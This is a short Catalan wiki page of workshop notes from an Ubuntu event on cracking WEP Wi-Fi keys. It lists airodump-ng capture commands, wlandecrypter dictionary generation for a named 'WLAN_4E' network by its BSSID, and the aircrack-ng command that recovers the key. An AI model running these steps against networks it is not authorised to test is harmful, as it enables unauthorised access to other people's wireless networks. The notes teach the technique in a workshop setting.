Taller de desencriptació de Claus WEP (Sergi Tur), Festa Ubuntu 9.04: [[Imatge:TallerClausWEP.pdf]]

els executables aircrack-ng i airodump estan a

<pre>
/usr/sbin
(compte perquè no es llisten)
un cop estem en aquest directori,
# cd /usr/sbin
# ls -la
</pre>

----

1) '''Airodump'''

<pre>
sbin$ airodump-ng --help
opcions:
--ivs save only captured IVs
--write <prefix> -> dum file prefix

sbin$ airodump-ng --write hola eth3
si vols grabar el fitxer en el disc intern:
sbin$ airodump-ng --write mnt/sda2/hola eth3
(substituir sda2 pel disc que correspongui)
</pre>

la columna que importa és #Data

agafo la següent:

essid: WLAN_4E

bssid: 00:01:38:9A:C2:83

canal 6

WEP

paro el airodump (Ctrl-C) quan tinc 64 paquets (per desencriptar les WLAN_ amb 5 n'hi ha d'haver prou). Tinc els fitxers
hola-01.cap i hola-01.txt en el mateix directori

<pre>
$ ls hola*
</pre>

----

2) fem el diccionari

<pre>
sbin$ wlandecrypter --help
wlandecrypter <bssid> <essid> [output file]
wlandecrypter 00:01:38:9A:C2:83 WLAN_4E diccionari.txt
S'ha generat el fitxer diccionari.txt
$ ls diccionari.txt
$ cat diccionari.txt
</pre>

----

3) '''aircrack'''

<pre>
sbin$ aircrack-ng --help
opcions:
-a 1 (força atacc WEP)
-b <bssid> la MAC
-e <essid> la interfície
sbin$ aircrack-ng -a 1 -b <mac> -e <essid> -w diccionari <fitxer.cap>
sbin$ aircrack-ng -a 1 -b 00:01:38:9A:C2:83 -e WLAN_4E -w diccionari.txt hola-01.cap
